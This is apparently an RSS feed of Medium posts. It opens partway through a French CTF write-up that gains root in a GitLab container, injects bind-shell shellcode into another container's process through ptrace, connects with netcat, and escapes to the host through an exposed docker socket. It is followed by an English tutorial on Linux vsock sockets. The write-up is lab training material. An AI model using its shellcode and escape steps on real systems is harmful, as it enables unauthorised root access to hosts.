&#39;gitlab/gitlab-ce:12.8.1-ce.0&#39;<br>    container_name: &#39;gitlab&#39;<br>    restart: always<br>    hostname: &#39;gitlab.laboratory.ctf&#39;<br>    #pid: &#39;host&#39;<br>    environment:<br>      GITLAB_ROOT_PASSWORD: &#39;D3x!sTh€B3st&#39;<br>     #GITLAB_OMNIBUS_CONFIG: |<br>              #external_url &#39;https://gitlab.laboratory.com&#39;<br>              #letsencypt[&#39;enable] = false<br>        #  ports:<br>        #    - &#39;80:80&#39;<br>        #    - &#39;443:443&#39;<br>    volumes:<br>      - &#39;./config:/etc/gitlab&#39;<br>      - &#39;./logs:/var/log/gitlab&#39;<br>      - &#39;./data:/var/opt/gitlab&#39;<br>      - &#39;./gitlab.crt:/etc/gitlab/ssl/gitlab.laboratory.ctf.crt:&#39;<br>      - &#39;./gitlab.key:/etc/gitlab/ssl/gitlab.laboratory.ctf.key:&#39;<br>    cap_add:<br>     - cap_sys_ptrace<br>    networks:<br>     - dps<br>networks:<br>  dps:<br>    external: true</pre><p>On voit des creds pour root dans le gitlab :</p><pre>git@gitlab:/$ env | grep -i &quot;root&quot;<br>GITLAB_ROOT_PASSWORD: &#39;D3x!sTh€B3st&#39;<br>git@gitlab:/$ su - <br>Password:<br>root@gitlab:/&quot;</pre><p>On peut aussi voir dans le docker-compose du container dps la commande lancée lors du démarrage du container :</p><pre>root@gitlab:/# ps aux | grep &quot;/[a]pp/&quot;<br>root       1801  0.0  0.2 627820  4064 ?        Ssl  07:03   0:00 /app/dns-proxy-server /app/dns-proxy-server</pre><p>Voici les différents namespaces du container <strong>gitlab</strong> et du container <strong>dps</strong>:</p><pre>root@gitlab:/# ll /proc/self/ns/<br>total 0<br>dr-x--x--x 2 root root 0 Jun 28 08:08 ./<br>dr-xr-xr-x 9 root root 0 Jun 28 08:08 ../<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 cgroup -&gt; cgroup:[4026531835]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 ipc -&gt; ipc:[4026532554]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 mnt -&gt; mnt:[4026532552]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 net -&gt; net:[4026532556]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 pid -&gt; pid:[4026531836]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 pid_for_children -&gt; pid:[4026531836]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 user -&gt; user:[4026531837]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:08 uts -&gt; uts:[4026532553]</pre><pre>root@gitlab:/# ll /proc/1801/ns<br>total 0<br>dr-x--x--x 2 root root 0 Jun 28 08:09 ./<br>dr-xr-xr-x 9 root root 0 Jun 28 07:45 ../<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 cgroup -&gt; cgroup:[4026531835]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 ipc -&gt; ipc:[4026532616]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 mnt -&gt; mnt:[4026532614]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 net -&gt; net:[4026532618]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 pid -&gt; pid:[4026531836]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 pid_for_children -&gt; pid:[4026531836]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 user -&gt; user:[4026531837]<br>lrwxrwxrwx 1 root root 0 Jun 28 08:09 uts -&gt; uts:[4026532615]</pre><p>On peut voir qu’en plus de partager le namespace PID ils partagent aussi le namespace users. Ce qui veut dire que root sur container gitlab sera aussi root sur le container dps.</p><p>Le docker-compose de gitlab nous montre une capabilities qui n’est pas par défaut lors de la création d’un container : ptrace.</p><p>Ceci est confirmé dans le container :</p><pre>root@gitlab:/tmp# capsh --print | grep ptrace<br>Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+eip<br>Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap</pre><p>La combinaison de ces 2 mauvaises pratiques/configuration va nous permettre de réaliser une injection de code au sein d’un processus.</p><p>Voici un article sur l’injection de code dans un process running : <a href="https://0x00sec.org/t/linux-infecting-running-processes/1097">https://0x00sec.org/t/linux-infecting-running-processes/1097</a> qui explique et propose un POC.</p><p>Ce qu’il faut retenir c’est que tout les programmes de debug utilisent la capabilitie ptrace. Cette dernière permet de s&#39;attacher à un process et de le modifier.</p><h4>Exploit Process Injection</h4><pre>root@gitlab:/dev/shm# wget https://raw.githubusercontent.com/0x00pf/0x00sec_code/master/mem_inject/infect.c</pre><p>On remplace dans l’exploit le shellcode pour y mettre un bind sur le port 5600 (Comme ça on maitrise le paramètre du Reverse Shell dans l’exploit)</p><p>ShellCode : <a href="https://www.exploit-db.com/exploits/41128">https://www.exploit-db.com/exploits/41128</a></p><p>Il faut remplacer dans l’exploit infect.c :</p><pre><br>#define SHELLCODE_SIZE 32<br><br>unsigned char *shellcode =<br>  &quot;\x48\x31\xc0\x48\x89\xc2\x48\x89&quot;<br>  &quot;\xc6\x48\x8d\x3d\x04\x00\x00\x00&quot;<br>  &quot;\x04\x3b\x0f\x05\x2f\x62\x69\x6e&quot;<br>  &quot;\x2f\x73\x68\x00\xcc\x90\x90\x90&quot;;</pre><p>par</p><pre><br>#define SHELLCODE_SIZE 87<br><br>unsigned char *shellcode = &quot;\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05&quot;;</pre><pre>apt update &amp;&amp; apt install gcc<br>root@gitlab:/dev/shm# gcc infect.c -o /tmp/infect<br>root@gitlab:/tmp# ./infect <br>Usage:<br>        ./infect pid<br><br>root@gitlab:/tmp# ./infect 1801<br>+ Tracing process 1801<br>+ Waiting for process...<br>+ Getting Registers<br>+ Injecting shell code at 0x45c7e0<br>+ Setting instruction pointer to 0x45c7e2<br>+ Run it!</pre><p>Le processus a bien été infecté par l’exploit. Le code malveillant ajouté au processus permet de spawn un Revershell sur le port 5600. Il faut maintenant trouver l’ip du container dps.</p><p>Le container gitlab sur lequel on se trouve actuellement et le container dps sont sur le même network docker comme vu dans leur docker-compose. Notre user dexter n&#39;a pas la permission de lancer de commande docker. Il va falloir trouver l&#39;ip manuellement à partir du container.</p><pre>root@gitlab:/tmp# hostname -i<br>172.19.0.2</pre><p>On part du principe que le container dps sera en 172.19.0.3 Pour se connecter à ce container on utilise netcat (qu&#39;il faut installer comme gcc).</p><pre>root@gitlab:/tmp# nc 172.19.0.3 5600<br>id<br>uid=0(root) gid=0(root) groups=0(root)<br>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>root@448e6b22790a:/app# </pre><p>Une fois root sur le container dps il va falloir s&#39;échapper de ce container pour arriver root sur l&#39;host.</p><h3>Container Breakout</h3><p>Lors de l’énumération avec le compte dexter on a pu avoir accès en lecture sur les docker-compose. On s&#39;est rendu compte que le socket docker était exposé dans le container dps. Ce partage de socket est une vulnérabilité et ne dois absolument pas être fait ou alors dans des conditions bien précises .</p><p>Nous allons l’utilisé pour passer accéder au FS entier de l’host.</p><p>On peut faire ça à la main ou alors utiliser <a href="https://github.com/stealthcopter/deepce">deepce</a>. DeepCE est un script d’énumération docker (Comme un Linpeas/LinEnum).</p><p>Pensez à installer curl pour exploiter le socket docker.</p><p>On ne pourr pas monter de Reverse Shell sur notre Kali car les container n’ont pas d’accès direct au LAN.</p><pre>root@448e6b22790a:/app# ./deepce.sh                                                                                                                                                    [18/18]<br><br>                      ##         .                                                             <br>                ## ## ##        ==                                                             <br>             ## ## ## ##       ===           <br>         /&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;\___/ ===                                                           <br>    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~<br>         \______ X           __/ <br>           \    \         __/<br>            \____\_______/<br>          __<br>     ____/ /__  ___  ____  ________                                                            <br>    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE               <br>   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE<br>   \__,_/\___/\___/ .___/\___/\___/  ESCAPE<br>                 /_/                                                                           <br>                                               <br> Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)<br> by stealthcopter                 <br>                                               <br>==========================================( Colors )==========================================<br>[+] Exploit Test ............ Exploitable - Check this out<br>[+] Basic Test .............. Positive Result<br>[+] Another Test ............ Error running check        <br>[+] Negative Test ........... No <br>[+] Multi line test ......... Yes                              <br><br>===================================( Enumerating Platform )===================================                                                                                                [+] Inside Container ........ Yes<br>[+] Container Platform ...... docker                                                           <br>[+] Container tools ......... None<br>[+] User .................... root<br>[+] Groups .................. root                                                             <br>[+] Docker Executable ....... Not Found<br>[+] Docker Sock ............. Yes                                                              <br>srw-rw---- 1 root 998 0 Jun 28 07:00 /var/run/docker.sock<br>[+] Sock is writable ........ Yes                                                              <br>The docker sock is writable, we should be able to enumerate docker, create containers <br>and obtain root privs on the host machine<br>See https://stealthcopter.github.io/deepce/guides/docker-sock.md      </pre><p>DeepCE nous a montré qu’un SOCKET été en lecture/écriture. Nous allons utiliser <a href="https://github.com/brompwnie/botb">Break out the Box</a> pour sortir du container.</p><p>Go étant un peu lourd à installer nous allons passer par la release direct : <a href="https://github.com/brompwnie/botb/releases">https://github.com/brompwnie/botb/releases</a></p><pre>root@448e6b22790a:/tmp# ./botb-linux-amd64 -autopwn                                                                                                                                      [6/6]<br>[+] Break Out The Box                                                                                                                                                                         <br>[+] Attempting to autopwn                                                                      <br>[+] Hunting Docker Socks<br>[+] Attempting to autopwn:  /run/docker.sock                                                                                                                                                  <br>[+] Attempting to escape to host...                                                                                                                                                           <br>[+] Attempting in TTY Mode</pre><p>Ce que fait BotB est simple, il installe docker via les sources officielles, et ensuite en utilisant le socket docker présent sur l’hôte il créer un container en lui montant le FS de l’hôte comme volume sur le nouveau container crée.</p><p>Voici le bout de code dans BotB qui permet de gérér le pwn : <a href="https://github.com/brompwnie/botb/blob/74ec7f0cac5da365176d2f9f4fb41beb97b97963/utils.go#L472">https://github.com/brompwnie/botb/blob/74ec7f0cac5da365176d2f9f4fb41beb97b97963/utils.go#L472</a></p><p>J’ai une story medium qui arrive sur le sujet !</p><p>Voilà Root sur l’host.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70f55cb41406" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Vsock]]></title>
            <link>https://medium.com/@F.DL/understanding-vsock-684016cf0eb0?source=rss-16372dc060b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/684016cf0eb0</guid>
            <category><![CDATA[socks]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[FrancoisD]]></dc:creator>
            <pubDate>Fri, 15 Sep 2023 07:29:47 GMT</pubDate>
            <atom:updated>2023-09-15T07:29:47.934Z</atom:updated>
            <content:encoded><![CDATA[<h4>General information</h4><p>Vsock is a Linux socket family designed to allow communication between a VM and its hypervisor.</p><p>This new socket family enables bi-directional, many-to-one, communication between a hypervisor and its virtual machines.</p><p>Added by VMware directly in the kernel :</p><p><a href="https://github.com/torvalds/linux/commit/d021c344051af91f42c5ba9fdedc176740cbd238">VSOCK: Introduce VM Sockets · torvalds/linux@d021c34</a></p><p>It can also be used in QEMU/KVM aswell as HyperV but the code is close source.</p><p>User level applications both in a virtual machine and on the host can use the VM Sockets API, which facilitates fast and efficient communication between guest virtual machines and their host. A socket address family, designed to be compatible with UDP and TCP at the interface level, is provided.</p><p>The VM Sockets module supports both connection-oriented stream sockets like TCP, and connectionless datagram sockets like UDP. The VM sockets protocol family is defined as “AF_VSOCK” and the socket operations split for SOCK_DGRAM and SOCK_STREAM.</p><p>Because VM sockets do not rely on the host’s networking stack at all, it is possible to configure VMs entirely without networking: only allowing communication using VM sockets.</p><p>The host and each VM have a 32 bit CID (Context IDentifier) and may connect or bind to a 32 bit port number. Ports &lt; 1024 are privileged ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/0*i5U1EVIajfblYJzJ.png" /><figcaption>Basic Vsock communication</figcaption></figure><h4>VM sockets addresses</h4><p>Context IDentifier are store in the <strong>/dev/vsock</strong> file.</p><p>An application uses &lt;CID&gt;:&lt;port&gt; as socket address.</p><p>The CID is simillar to an IP address and is represented by a integer 32 bits :</p><p><a href="https://github.com/torvalds/linux/commit/d021c344051af91f42c5ba9fdedc176740cbd238#diff-e8bc887aa480db607524eee03cf7666845da50d9355dad4f9044530dbe0de7feR153">VSOCK: Introduce VM Sockets · torvalds/linux@d021c34</a></p><p>It identifies either an hypervisor or a virtual machine. Several addresses are reserved, including 0, 1, and the maximum value for a 32-bit integer: 0xffffffff</p><p>Each VM must have a unique CID.</p><p>Hypervisor is always assigned to 2 and virtual machines can go from 3 to 0xffffffff - 1.</p><pre>/* Use this as the destination CID in an address when referring to the<br> * hypervisor.  VMCI relies on it being 0, but this would be useful for other<br> * transports too.<br> */<br><br><br>#define VMADDR_CID_HYPERVISOR 0<br><br>/* This CID is specific to VMCI and can be considered reserved (even VMCI<br> * doesn&#39;t use it anymore, it&#39;s a legacy value from an older release).<br> */<br><br>#define VMADDR_CID_RESERVED 1<br><br>/* Use this as the destination CID in an address when referring to the host<br> * (any process other than the hypervisor).  VMCI relies on it being 2, but<br> * this would be useful for other transports too.<br> */<br><br>#define VMADDR_CID_HOST 2</pre><pre>In [1]: import socket                                              <br>In [2]: socket.VMADDR_CID_HOST                                     <br>Out[2]: 2</pre><p>Port aswell is anologous to a TCP port and is represented by a int32</p><pre>void vsock_addr_init(struct sockaddr_vm *addr, u32 cid, u32 port)<br>{<br>	memset(addr, 0, sizeof(*addr));<br>	addr-&gt;svm_family = AF_VSOCK;<br>	addr-&gt;svm_cid = cid;<br>	addr-&gt;svm_port = port;<br>}</pre><p>As with IP ports, ports in the range 0-1023 are considered “privileged”, and only root or a user with CAP_NET_ADMIN may bind to these ports.</p><p><a href="https://github.com/torvalds/linux/commit/d021c344051af91f42c5ba9fdedc176740cbd238#diff-e8bc887aa480db607524eee03cf7666845da50d9355dad4f9044530dbe0de7feR25">VSOCK: Introduce VM Sockets · torvalds/linux@d021c34</a></p><p>By default CID and port can be randomly generated by the kernel</p><pre>/* The vSocket equivalent of INADDR_ANY.  This works for the svm_cid field of<br> * sockaddr_vm and indicates the context ID of the current endpoint.<br> */<br><br>#define VMADDR_CID_ANY -1U<br><br>/* Bind to any available port.  Works for the svm_port field of<br> * sockaddr_vm.<br> */<br><br>#define VMADDR_PORT_ANY -1U</pre><p>Severals application can run on the same host using different port and each port can serve multiple connection concurrently.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-lOaoLgI76b0DrgUGKxNQ.png" /><figcaption>Vsock available variables</figcaption></figure><p>To retrieve local CID with go :</p><pre>package main<br>import (<br>  &quot;fmt&quot;<br>  &quot;os&quot;<br><br>  &quot;golang.org/x/sys/unix&quot;<br>)<br><br>// contextID retrieves the local context ID for this system.<br>var devVsock = &quot;/dev/vsock&quot;<br><br>func main(){<br>  fmt.Println(contextID())<br>}<br><br>func contextID() (uint32, error) {<br>  f, err := os.Open(devVsock)<br>  if err != nil {<br>    return 0, err<br>  }<br>  defer f.Close()<br><br>  return unix.IoctlGetUint32(int(f.Fd()), unix.IOCTL_VM_SOCKETS_GET_LOCAL_CID)<br>}</pre><h4>VM socket setup</h4><p>In order to get vsock up and running we need a fairly recent kernel (&gt; 4.8) both in the Qemu virtual machine and the host and QEMU 2.8+ is required to execute the VM.</p><p>Vsock and vhost module needs to be enabled :</p><pre>➭ lsmod | grep vsock<br>vhost_vsock                          24576  0<br>vmw_vsock_virtio_transport_common    32768  1 vhost_vsock<br>vsock                                36864  2 vmw_vsock_virtio_transport_common,vhost_vsock<br>vhost                                49152  2 vhost_vsock,vhost_net<br><br>➭ file /dev/vsock<br>/dev/vsock: character special (10/59)<br>➭ file /dev/vhost-vsock<br>/dev/vhost-vsock: character special (10/241)</pre><h4>Qemu Virtual Machine creation</h4><p>First we need to create an hard blank disk image :</p><pre>qemu-img create debian.img 2G</pre><p>Then we need to boot the .iso we want :</p><pre>qemu-system-x86_64 -hda debian.img -cdrom debian-testing-amd64-netinst.iso -boot d -m 512</pre><p>This will open the debian installer.</p><p>After the installation is done, the system can be booted with:</p><pre>qemu-system-x86_64 -hda debian.img -m 512 -enable-kvm -device <strong><em>vhost-vsock-pci,id=vhost-vsock-pci0,guest-cid=123</em></strong></pre><p>This will run a debian VM with a vsock device and a CID of 123.</p><p>The device <strong>vhost-vsock-pci</strong> is attached to the VM and enable the communication with the host. Once you haved started the VM you should have a vsock device available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*Xju4PfwT6eIth_aH.png" /><figcaption>Qemu virtual machine with vsock device enabled</figcaption></figure><blockquote><em>Note : Only a single vsock device is allowed on a Virtual machine : </em><em>the virtio-vsock guest drivers do not support multiple instances : </em><a href="https://bugzilla.redhat.com/show_bug.cgi?id=1455015"><em>https://bugzilla.redhat.com/show_bug.cgi?id=1455015</em></a></blockquote><h3>Send and receive vsock packets</h3><p>With a Qemu virtual machine you can send vsoc after enabling the vsock device.</p><p>The communication is set up logically with programming langage :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/0*_gNpfMy7D6cST5m1.png" /><figcaption><a href="https://wiki.qemu.org/Features/VirtioVsock">https://wiki.qemu.org/Features/VirtioVsock</a></figcaption></figure><h3>Python</h3><p><strong>Hypervisor</strong> — receive.py</p><pre>#!/usr/bin/env python3<br><br>import socket<br><br>CID = socket.VMADDR_CID_HOST<br>PORT = 9999<br><br>s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)<br>s.bind((CID, PORT))<br>s.listen()<br>(conn, (remote_cid, remote_port)) = s.accept()<br><br>print(f&quot;Connection opened by cid={remote_cid} port={remote_port}&quot;)<br><br>while True:<br>    buf = conn.recv(64)<br>    if not buf:<br>        break<br><br>    print(f&quot;Received bytes: {buf}&quot;)</pre><p><strong>Virtual Machine</strong> — send.py</p><pre>#!/usr/bin/env python3<br><br>import socket<br><br>CID = socket.VMADDR_CID_HOST<br>PORT = 9999<br><br>s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)<br>s.connect((CID, PORT))<br>s.sendall(b&quot;Hello, world!&quot;)<br>s.close()</pre><p>Host output :</p><pre>Output: <br>Connection opened by cid=123 port=2131488197<br>Received bytes: b&#39;Hello, world!&#39;</pre><p>When we started the VM we set the CID to 123 and we can retrieve this information on the hypervisor.</p><h4>Monitor vsock packets</h4><p>Thanks to some Googlers we have some tools to monitor vsock communication.</p><p>First we need to setup a vsockmon type link :</p><pre>ip link add type vsockmon<br>ip link set vsockmon0 up</pre><p>The vsockmon link type is from the vsockmon module :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*q-EtSZrIzk45KkiC.png" /><figcaption>vsockmon linux module</figcaption></figure><p>You can build a <a href="https://lwn.net/Articles/720795/">custom tcpdump binary</a> with the vsock filter or use wireshark.</p><pre>wireshark -k -i vsockmon0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*t_KhMNENTMPhVaAe.png" /><figcaption>wireshark vsockmon capture</figcaption></figure><h4>Parser vsock</h4><p><a href="https://www.tcpdump.org/linktypes/LINKTYPE_VSOCK.html">https://www.tcpdump.org/linktypes/LINKTYPE_VSOCK.html</a></p><pre>import socket,sys,select,json                                                                                                [20/240]<br>import struct                    <br>                                                                                                                                     <br>s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(3))<br>s.bind((&quot;vsockmon0&quot;,3))                                           <br>                                                                  <br>operations_type = {                                               <br>        1:&quot;Connect&quot;,                                              <br>        2:&quot;Disconnect&quot;,                                           <br>        3:&quot;Control&quot;,                                                                                                                 <br>        4:&quot;Payload&quot;                                                                                                                  <br>}                                                                 <br>                                                                  <br>transports_type = {                                               <br>        1:&quot;1&quot;,                                                    <br>        2:&quot;Virtio&quot;                                                <br>}                                                                 <br>                                                                  <br>socket_field_type = {                                             <br>        1:&quot;1&quot;,                                                    <br>        2:&quot;Stream&quot;                                                                                                                   <br>}                                                                                                                                    <br><br>operations_vt__type = {<br>        1:&quot;Conn Request&quot;,<br>        2:&quot;Conn Response&quot;,<br>        3:&quot;Conn Reset&quot;,<br>        4:&quot;Conn Shutdown&quot;,<br>        5:&quot;Data Packet&quot;,<br>        6:&quot;Credit Update&quot;,<br>        7:&quot;Credit Update Request&quot; <br>}<br>def vsock_parser(raw_data):<br>    vsock = {}<br>    src_cid,dst_cid, src_port,dst_port,operation, transport_type, transport_length  = struct.unpack(&#39;&lt; Q Q L L H H H 2x&#39;,raw_data[:32<br>])<br>    vsock.extend([src_cid,dst_cid, src_port,dst_port,operations_type[operation],transports_type[transport_type],transport_length])<br>    data = raw_data[32:]<br>    vsock[&quot;Source CID&quot;] = src_cid <br>    vsock[&quot;Destination CID&quot;] = dst_cid<br>    vsock[&quot;Source Port&quot;] = src_port<br>    vsock[&quot;Destination Port&quot;] = dst_port<br>    vsock[&quot;Operation&quot;] = operations_type[operation]<br>    vsock[&quot;Transport Type&quot;] = transports_type[transport_type]<br>    vsock[&quot;Transport Length&quot;] = transport_length<br>    return vsock,data<br><br>def virtio_parser(raw_data, length):<br>    virtio = {}<br>    src_cid,dst_cid, src_port,dst_port,payload_length,conn_type,operation, flag,buffer_alloc,fwd_count = struct.unpack(&#39;&lt; Q Q L L I H<br> H I I I&#39;,raw_data[:length])<br>    virtio.extend([src_cid,dst_cid, src_port,dst_port,payload_length,socket_field_type[conn_type],operations_vt__type[operation], fl<br>ag,buffer_alloc,fwd_count])<br>    virtio[&quot;Payload Length&quot;] = payload_length<br>    virtio[&quot;Type&quot;] = socket_field_type[conn_type]<br>    virtio[&quot;Operation&quot;] = operations_vt__type[operation]<br>    virtio[&quot;Flags&quot;] = flag<br>    virtio[&quot;Buffer Alloc&quot;] = buffer_alloc<br>    virtio[&quot;Receive Counter&quot;] = fwd_count<br>    data = raw_data[length:]<br>    if operation == 5:<br>        payload = struct.unpack(f&#39;&lt; {payload_length}c&#39;,data)<br>        payload_str = [ x.decode(&#39;unicode_escape&#39;) for x in payload ]<br>        payload = &quot;&quot;.join(payload_str)<br>        virtio[&quot;Payload&quot;] = payload<br>        virtio.append(payload)<br>        virtio.append(struct.unpack(f&#39;&lt; {payload_length}c&#39;,data)) <br>    return virtio</pre><h4>Multi VM transport</h4><p>There is multiple ways to make VMs communicate with vsock. Either on a nested virtual machine usecase or on a local communcation.</p><p>Red Hat came up with a way to do both in Linux v5.6 kernel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*bM_ckosO9HRcgfpfVjoy6A.png" /><figcaption>Nested VM vSock communication</figcaption></figure><p>In this example the first guest is using both types of transport such as <strong>H2G </strong>— Host to Guest — and <strong>G2H </strong>— Guest to Host — so the hypervisor can send message to the nested guest througth the first one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*0MylTSAFXkZ2fER34yEOJg.png" /><figcaption>Local communication without VMs</figcaption></figure><p>Local communication without VMs has been enabled in Linux v5.6. App can reach to each others with the local CID or a local guest CID if G2H is enabled.</p><p>Socat multicast : <a href="https://github.com/stefano-garzarella/socat-vsock/blob/vsock/doc/socat-multicast.html">https://github.com/stefano-garzarella/socat-vsock/blob/vsock/doc/socat-multicast.html</a></p><h4>Standalone VMs communication</h4><p>If you want multiple VMs to communication throught vsock without them being nested you’ll need to set up a proxy on your hypervisor.</p><p>This exampled is based on a configuration json file holding services information.</p><pre>#!/usr/bin/python3<br>import socket, sys, select, json<br><br><br>def create_socket(port):<br>    CID = socket.VMADDR_CID_HOST<br>    s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)<br>    s.bind((socket.VMADDR_CID_ANY, port))<br>    s.listen()<br>    return s<br>def inc(x):<br>    return x + 1<br>def main():<br>    read_list = []<br>    raddr = []<br>    laddr = []<br><br>    with open(&quot;configuration.json&quot;,&quot;r&quot;) as c:<br>        sd = json.load(c)<br><br><br>    for i in sd:<br>        for att in i[&quot;Services&quot;]:<br>            read_list.append(create_socket(att[&quot;port&quot;]))<br>    for i in read_list:<br>        laddr.append(i.getsockname()[0])<br><br>    while True:<br>        read,write,exec = select.select(read_list, [], read_list)<br>        for so in read:<br>            if so.getsockname()[0]  not in laddr:<br>                raddr.append(so)<br>            if so in raddr:<br>                conn,(remote_cid,remote_port) = so.accept()<br>                print(conn)<br>                print(f&quot;Connection opened by cid={remote_cid} port={conn.getsockname()[1]}&quot;)<br>                payload = conn.recv(1024)<br>                if not payload:<br>                    break<br>                elif payload == &quot;killsrv&quot;:<br>                    conn.close()<br>                    sys.exit()<br>                else:<br>                    for x in sd:<br>                        for y in x[&quot;Services&quot;]:<br>                            if conn.getsockname()[1] == y[&quot;port&quot;]:<br>                                vm_port = y[&quot;port&quot;]<br>                                vm_cid = x[&quot;CID&quot;]<br>                    s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)<br>                    s.connect((vm_cid,vm_port))<br>                    s.sendall(payload)<br>                    print(f&quot;Payload sent to cid={vm_cid} port={vm_port} and data={payload}&quot;)<br>                    s.close()<br><br><br>if __name__ == &quot;__main__&quot;:<br>        main()</pre><p>configuration.json :</p><pre>[<br>  {<br>    &quot;CID&quot;: 123,<br>    &quot;Services&quot;: [<br>      {<br>        &quot;id&quot;: 34,<br>        &quot;name&quot;: &quot;Service 1&quot;,<br>        &quot;port&quot;: 9999<br>      }<br>    ]<br>  },<br>  {<br>    &quot;CID&quot;: 456,<br>    &quot;Services&quot;: [<br>      {<br>        &quot;id&quot;: 35,<br>        &quot;name&quot;: &quot;Service 2&quot;,<br>        &quot;port&quot;: 1111<br>      }<br>    ]<br>  },<br>  {<br>    &quot;CID&quot;: 789,<br>    &quot;Services&quot;: [<br>      {<br>        &quot;id&quot;: 36,<br>        &quot;name&quot;: &quot;Service 3&quot;,<br>        &quot;port&quot;: 2222<br>      }<br>    ]<br>  }<br>]</pre><h4>Sources</h4><p><a href="https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2020/04/18/vsock-internals">https://terenceli.github.io/技术/2020/04/18/vsock-internals</a></p><p><a href="https://static.sched.com/hosted_files/devconfcz2020a/b1/DevConf.CZ_2020_vsock_v1.1.pdf">https://static.sched.com/hosted_files/devconfcz2020a/b1/DevConf.CZ_2020_vsock_v1.1.pdf</a></p><p><a href="https://github.com/torvalds/linux/commit/c0cfa2d8a788fcf45df5bf4070ab2474c88d543a">https://github.com/torvalds/linux/commit/c0cfa2d8a788fcf45df5bf4070ab2474c88d543a</a></p><p><a href="https://mdlayher.com/blog/linux-vm-sockets-in-go/">https://mdlayher.com/blog/linux-vm-sockets-in-go/</a></p><p><a href="https://patchwork.kernel.org/project/netdevbpf/patch/20210505163855.32dad8e7@gandalf.local.home/#24158977">https://patchwork.kernel.org/project/netdevbpf/patch/20210505163855.32dad8e7@gandalf.local.home/#24158977</a></p><p><a href="https://av.tib.eu/media/52823">https://av.tib.eu/media/52823</a></p><p><a href="https://lwn.net/Articles/720795/">https://lwn.net/Articles/720795/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=684016cf0eb0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Escape sequence for bash script or a funny way to print things]]></title>
            <link>https://medium.com/@F.DL/escape-sequence-for-bash-script-or-a-funny-way-to-print-things-d9063f8ef3e1?source=rss-16372dc060b9------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9063f8ef3e1</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[zsh]]></category>
            <category><![CDATA[apt]]></category>
            <category><![CDATA[script]]></category>
            <dc:creator><![CDATA[FrancoisD]]></dc:creator>
            <pubDate>Tue, 30 Aug 2022 12:39:49 GMT</pubDate>
            <atom:updated>2022-08-30T12:40:30.665Z</atom:updated>
